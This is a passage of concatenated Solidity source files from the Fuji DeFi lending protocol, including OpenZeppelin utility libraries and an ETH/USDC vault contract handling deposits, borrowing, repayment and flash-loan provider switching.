(uint256); function getBorrowBalance(address _asset) external view returns (uint256); function getDepositBalance(address _asset) external view returns (uint256); function getBorrowBalanceOf(address _asset, address _who) external returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12 <0.8.0; interface IAlphaWhiteList { function whiteListRoutine( address _usrAddrs, uint64 _assetId, uint256 _amount, address _erc1155 ) external returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity <0.8.0; /** * @title Errors library * @author Fuji * @notice Defines the error messages emitted by the different contracts of the Aave protocol * @dev Error messages prefix glossary: * - VL = Validation Logic 100 series * - MATH = Math libraries 200 series * - RF = Refinancing 300 series * - VLT = vault 400 series * - SP = Special 900 series */ library Errors { //Errors string public constant VL_INDEX_OVERFLOW = "100"; // index overflows uint128 string public constant VL_INVALID_MINT_AMOUNT = "101"; //invalid amount to mint string public constant VL_INVALID_BURN_AMOUNT = "102"; //invalid amount to burn string public constant VL_AMOUNT_ERROR = "103"; //Input value >0, and for ETH msg.value and amount shall match string public constant VL_INVALID_WITHDRAW_AMOUNT = "104"; //Withdraw amount exceeds provided collateral, or falls undercollaterized string public constant VL_INVALID_BORROW_AMOUNT = "105"; //Borrow amount does not meet collaterization string public constant VL_NO_DEBT_TO_PAYBACK = "106"; //Msg sender has no debt amount to be payback string public constant VL_MISSING_ERC20_ALLOWANCE = "107"; //Msg sender has not approved ERC20 full amount to transfer string public constant VL_USER_NOT_LIQUIDATABLE = "108"; //User debt position is not liquidatable string public constant VL_DEBT_LESS_THAN_AMOUNT = "109"; //User debt is less than amount to partial close string public constant VL_PROVIDER_ALREADY_ADDED = "110"; // Provider is already added in Provider Array string public constant VL_NOT_AUTHORIZED = "111"; //Not authorized string public constant VL_INVALID_COLLATERAL = "112"; //There is no Collateral, or Collateral is not in active in vault string public constant VL_NO_ERC20_BALANCE = "113"; //User does not have ERC20 balance string public constant VL_INPUT_ERROR = "114"; //Check inputs. For ERC1155 batch functions, array sizes should match. string public constant VL_ASSET_EXISTS = "115"; //Asset intended to be added already exists in FujiERC1155 string public constant VL_ZERO_ADDR_1155 = "116"; //ERC1155: balance/transfer for zero address string public constant VL_NOT_A_CONTRACT = "117"; //Address is not a contract. string public constant VL_INVALID_ASSETID_1155 = "118"; //ERC1155 Asset ID is invalid. string public constant VL_NO_ERC1155_BALANCE = "119"; //ERC1155: insufficient balance for transfer. string public constant VL_MISSING_ERC1155_APPROVAL = "120"; //ERC1155: transfer caller is not owner nor approved. string public constant VL_RECEIVER_REJECT_1155 = "121"; //ERC1155Receiver rejected tokens string public constant VL_RECEIVER_CONTRACT_NON_1155 = "122"; //ERC1155: transfer to non ERC1155Receiver implementer string public constant VL_OPTIMIZER_FEE_SMALL = "123"; //Fuji OptimizerFee has to be > 1 RAY (1e27) string public constant VL_UNDERCOLLATERIZED_ERROR = "124"; // Flashloan-Flashclose cannot be used when User's collateral is worth less than intended debt position to close. string public constant VL_MINIMUM_PAYBACK_ERROR = "125"; // Minimum Amount payback should be at least Fuji Optimizerfee accrued interest. string public constant VL_HARVESTING_FAILED = "126"; // Harvesting Function failed, check provided _farmProtocolNum or no claimable balance. string public constant VL_FLASHLOAN_FAILED = "127"; // Flashloan failed string public constant MATH_DIVISION_BY_ZERO = "201"; string public constant MATH_ADDITION_OVERFLOW = "202"; string public constant MATH_MULTIPLICATION_OVERFLOW = "203"; string public constant RF_NO_GREENLIGHT = "300"; // Conditions for refinancing are not met, greenLight, deltaAPRThreshold, deltatimestampThreshold string public constant RF_INVALID_RATIO_VALUES = "301"; // Ratio Value provided is invalid, _ratioA/_ratioB <= 1, and > 0, or activeProvider borrowBalance = 0 string public constant RF_CHECK_RATES_FALSE = "302"; //Check Rates routine returned False string public constant VLT_CALLER_MUST_BE_VAULT = "401"; // The caller of this function must be a vault string public constant SP_ALPHA_WHITELIST = "901"; // One ETH cap value for Alpha Version < 1 ETH } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; library UniERC20 { using SafeERC20 for IERC20; IERC20 private constant _ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); IERC20 private constant _ZERO_ADDRESS = IERC20(0); function isETH(IERC20 token) internal pure returns (bool) { return (token == _ZERO_ADDRESS || token == _ETH_ADDRESS); } function uniBalanceOf(IERC20 token, address account) internal view returns (uint256) { if (isETH(token)) { return account.balance; } else { return token.balanceOf(account); } } function uniTransfer( IERC20 token, address payable to, uint256 amount ) internal { if (amount > 0) { if (isETH(token)) { to.transfer(amount); } else { token.safeTransfer(to, amount); } } } function uniApprove( IERC20 token, address to, uint256 amount ) internal { require(!isETH(token), "Approve called on ETH"); if (amount == 0) { token.safeApprove(to, 0); } else { uint256 allowance = token.allowance(address(this), to); if (allowance < amount) { if (allowance > 0) { token.safeApprove(to, 0); } token.safeApprove(to, amount); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.8.0; pragma experimental ABIEncoderV2; import { IVault } from "./IVault.sol"; import { VaultBase } from "./VaultBase.sol"; import { IFujiAdmin } from "../IFujiAdmin.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import { AggregatorV3Interface } from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol"; import { IProvider } from "../Providers/IProvider.sol"; import { IAlphaWhiteList } from "../IAlphaWhiteList.sol"; import { Errors } from "../Libraries/Errors.sol"; interface IVaultHarvester { function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken); } contract VaultETHUSDC is IVault, VaultBase, ReentrancyGuard { uint256 internal constant _BASE = 1e18; struct Factor { uint64 a; uint64 b; } // Safety factor Factor public safetyF; // Collateralization factor Factor public collatF; //State variables address[] public providers; address public override activeProvider; IFujiAdmin private _fujiAdmin; address public override fujiERC1155; AggregatorV3Interface public oracle; modifier isAuthorized() { require( msg.sender == owner() || msg.sender == _fujiAdmin.getController(), Errors.VL_NOT_AUTHORIZED ); _; } modifier onlyFlash() { require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED); _; } constructor() public { vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH vAssets.borrowAsset = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC // 1.05 safetyF.a = 21; safetyF.b = 20; // 1.269 collatF.a = 80; collatF.b = 63; } receive() external payable {} //Core functions /** * @dev Deposits collateral and borrows underlying in a single function call from activeProvider * @param _collateralAmount: amount to be deposited * @param _borrowAmount: amount to be borrowed */ function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable { deposit(_collateralAmount); borrow(_borrowAmount); } /** * @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider * @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount * @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount */ function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable { payback(_paybackAmount); withdraw(_collateralAmount); } /** * @dev Deposit Vault's type collateral to activeProvider * call Controller checkrates * @param _collateralAmount: to be deposited * Emits a {Deposit} event. */ function deposit(uint256 _collateralAmount) public payable override { require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR); // Alpha Whitelist Routine require( IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine( msg.sender, vAssets.collateralID, _collateralAmount, fujiERC1155 ), Errors.SP_ALPHA_WHITELIST ); // Delegate Call Deposit to current provider _deposit(_collateralAmount, address(activeProvider)); // Collateral Management IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, ""); emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount); } /** * @dev Withdraws Vault's type collateral from activeProvider * call Controller checkrates * @param _withdrawAmount: amount of collateral to withdraw * otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors) * Emits a {Withdraw} event. */ function withdraw(int256 _withdrawAmount) public override nonReentrant { // If call from Normal User do typical, otherwise Fliquidator if (msg.sender != _fujiAdmin.getFliquidator()) { updateF1155Balances(); // Get User Collateral in this Vault uint256 providedCollateral = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID); // Check User has collateral require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL); // Get Required Collateral with Factors to maintain debt position healthy uint256 neededCollateral = getNeededCollateralFor( IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID), true ); uint256 amountToWithdraw = _withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount); // Check Withdrawal amount, and that it will not fall undercollaterized. require( amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral, Errors.VL_INVALID_WITHDRAW_AMOUNT ); // Collateral Management before Withdraw Operation IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw); // Delegate Call Withdraw to current provider _withdraw(amountToWithdraw, address(activeProvider)); // Transer Assets to User IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw); emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw); } else { // Logic used when called by Fliquidator _withdraw(uint256(_withdrawAmount), address(activeProvider)); IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount)); } } /** * @dev Borrows Vault's type underlying amount from activeProvider * @param _borrowAmount: token amount of underlying to borrow * Emits a {Borrow} event. */ function borrow(uint256 _borrowAmount) public override nonReentrant { updateF1155Balances(); uint256 providedCollateral = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID); // Get Required Collateral with Factors to maintain debt position healthy uint256 neededCollateral = getNeededCollateralFor( _borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)), true ); // Check Provided Collateral is not Zero, and greater than needed to maintain healthy position require( _borrowAmount != 0 && providedCollateral > neededCollateral, Errors.VL_INVALID_BORROW_AMOUNT ); // Debt Management IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, ""); // Delegate Call Borrow to current provider _borrow(_borrowAmount, address(activeProvider)); // Transer Assets to User IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount); emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount); } /** * @dev Paybacks Vault's type underlying to activeProvider * @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount * Emits a {Repay} event. */ function payback(int256 _repayAmount) public payable override { // If call from Normal User do typical, otherwise Fliquidator if (msg.sender != _fujiAdmin.getFliquidator()) { updateF1155Balances(); uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID); // Check User Debt is greater than Zero and amount is not Zero require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK); // TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt // If passed argument amount is negative do MAX uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount); // Check User Allowance require( IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback, Errors.VL_MISSING_ERC20_ALLOWANCE ); // Transfer Asset from User to Vault IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback); // Delegate Call Payback to current provider _payback(amountToPayback, address(activeProvider)); //TODO: Transfer corresponding Debt Amount to Fuji Treasury // Debt Management IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback); emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance); } else { // Logic used when called by Fliquidator _payback(uint256(_repayAmount), address(activeProvider)); } } /** * @dev Changes Vault debt and collateral to newProvider, called by Flasher * @param _newProvider new provider's address * @param _flashLoanAmount amount of flashloan underlying to repay Flashloan * Emits a {Switch} event. */ function executeSwitch( address _newProvider, uint256 _flashLoanAmount, uint256 _fee ) external override onlyFlash whenNotPaused { // Compute Ratio of transfer before payback uint256 ratio = (_flashLoanAmount).mul(1e18).div( IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset) ); // Payback current provider _payback(_flashLoanAmount, activeProvider); // Withdraw collateral proportional ratio from current provider uint256 collateraltoMove = IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18); _withdraw(collateraltoMove, activeProvider); // Deposit to the new provider _deposit(collateraltoMove, _newProvider); // Borrow from the new provider, borrowBalance + premium _borrow(_flashLoanAmount.add(_fee), _newProvider); // return borrowed amount to Flasher IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(_fee)); emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove); } //Setter, change state functions /** * @dev Sets the fujiAdmin Address * @param _newFujiAdmin: FujiAdmin Contract Address */ function setFujiAdmin(address _newFujiAdmin) external onlyOwner { _fujiAdmin = IFujiAdmin(_newFujiAdmin); } /** * @dev Sets a new active provider for the Vault * @param _provider: fuji address of the new provider * Emits a {SetActiveProvider} event. */ function setActiveProvider(address _provider) external override isAuthorized { activeProvider = _provider; emit SetActiveProvider(_provider); } //Administrative functions /** * @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it. * @param _fujiERC1155: fuji ERC1155 address */ function setFujiERC1155(address _fujiERC1155) external isAuthorized { fujiERC1155 = _fujiERC1155; vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset( IFujiERC1155.AssetType.collateralToken, address(this) ); vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset( IFujiERC1155.AssetType.debtToken, address(this) ); } /** * @dev Set Factors "a" and "b" for a Struct Factor * For safetyF; Sets Safety Factor of Vault, should be > 1, a/b * For collatF; Sets Collateral Factor of Vault, should be > 1, a/b * @param _newFactorA: Nominator * @param _newFactorB: Denominator * @param _isSafety: safetyF or collatF */ function setFactor( uint64 _newFactorA, uint64 _newFactorB, bool _isSafety ) external isAuthorized { if (_isSafety) { safetyF.a = _newFactorA; safetyF.b = _newFactorB; } else { collatF.a = _newFactorA; collatF.b = _newFactorB; } } /** * @dev Sets the Oracle address (Must 